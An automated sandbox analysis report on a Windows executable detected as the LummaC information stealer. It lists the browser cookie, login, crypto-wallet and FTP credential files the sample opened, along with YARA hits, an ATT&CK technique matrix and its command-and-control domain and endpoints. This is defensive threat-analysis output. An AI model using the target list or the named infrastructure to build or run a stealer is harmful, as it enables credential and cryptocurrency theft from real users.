Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2094668994.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2094668994.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hthjjadrthad.exe PID: 7292, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: hthjjadrthad.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Deobfuscate/Decode Files or Information	LSASS Memory	221 Security Software Discovery	Remote Desktop Protocol	4 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	41 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
hthjjadrthad.exe	91%	ReversingLabs	Win32.Trojan.LummaStealer
hthjjadrthad.exe	100%	Avira	HEUR/AGEN.1314134
hthjjadrthad.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
clockersspic.click	100%	Avira URL Cloud	malware
https://clockersspic.click/6	100%	Avira URL Cloud	malware
https://clockersspic.click/apig	100%	Avira URL Cloud	malware
https://clockersspic.click:443/api	100%	Avira URL Cloud	malware
http://www.enigmaprotector.com/openU	0%	Avira URL Cloud	safe
https://clockersspic.click/api	100%	Avira URL Cloud	malware
https://clockersspic.click/f	100%	Avira URL Cloud	malware
https://clockersspic.click/	100%	Avira URL Cloud	malware
https://clockersspic.click/p	100%	Avira URL Cloud	malware
https://clockersspic.click/api1	100%	Avira URL Cloud	malware
https://clockersspic.click/apiZ	100%	Avira URL Cloud	malware
http://www.enigmaprotector.com/	0%	Avira URL Cloud	safe
https://clockersspic.click/apiD	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
clockersspic.click	104.21.85.66	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
clockersspic.click	true	Avira URL Cloud: malware	unknown
necklacebudi.lat	false		high
https://clockersspic.click/api	true	Avira URL Cloud: malware	unknown
aspecteirs.lat	false		high
energyaffai.lat	false		high
sustainskelet.lat	false		high
crosshuaht.lat	false		high
rapeflowwj.lat	false		high
grannyejh.lat	false		high
discokeyus.lat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clockersspic.click/6	hthjjadrthad.exe, 00000000.00000003.2186755989.0000000000D77000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187608023.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.microsoft	hthjjadrthad.exe, 00000000.00000003.2186412920.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2048083097.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187537683.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144604405.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2094668994.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186532501.0000000000D53000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144831144.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144746440.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2047991830.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.enigmaprotector.com/openU	hthjjadrthad.exe, 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://clockersspic.click/p	hthjjadrthad.exe, 00000000.00000003.2047991830.0000000000CE2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clockersspic.click/api1	hthjjadrthad.exe, 00000000.00000003.2048083097.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2047991830.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
